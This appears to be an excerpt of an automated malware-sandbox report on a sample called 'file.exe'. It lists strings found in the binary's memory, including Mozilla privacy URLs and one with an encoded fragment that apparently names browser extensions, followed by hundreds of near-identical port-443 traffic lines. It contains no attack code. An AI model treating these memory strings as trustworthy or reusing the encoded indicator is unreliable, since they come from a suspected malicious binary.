Source: file.exe, 00000000.00000002.2134581160.0000000000494000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2134581160.0000000000466000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000002.2134581160.0000000000466000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/d=enterpk2016&ui=en-us&rs=en-us&ad=us
Source: file.exe, 00000000.00000003.2108811596.00000000237D3000.00000004.00000020.00020000.00000000.sdmp, HCAEBFBKKJDHIDHIDBAEHCGIEH.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2134581160.0000000000466000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/vRm9ybXxwbmxjY21vamNtZW9obHBnZ21mbmJiaWFwa21ibGlvYnwxfDB8MHx

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
